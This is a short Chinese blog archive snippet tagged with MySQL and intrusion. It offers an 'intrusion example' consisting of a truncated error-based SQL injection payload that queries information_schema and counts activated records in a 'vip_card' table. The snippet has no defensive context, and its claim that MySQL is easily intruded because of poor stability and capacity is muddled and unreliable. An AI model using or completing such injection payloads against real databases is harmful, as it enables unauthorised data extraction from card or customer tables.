mysql，入侵，数据库标签存档订阅

 

mysql数据库的稳定性，容量神马的很不好，很容易遭到入侵，下面就来介绍一个入侵实例：

AND (SELECT 2693 FROM(SELECT COUNT(*),:vxd:,(SELECT MID((IFNULL(CAST(count(*) AS CHAR),\’\’)),1,50) FROM vip_card WHERE sn like \’20%\’ and active=1),:hez:,0)x FROM information_schema.tables GR[……]

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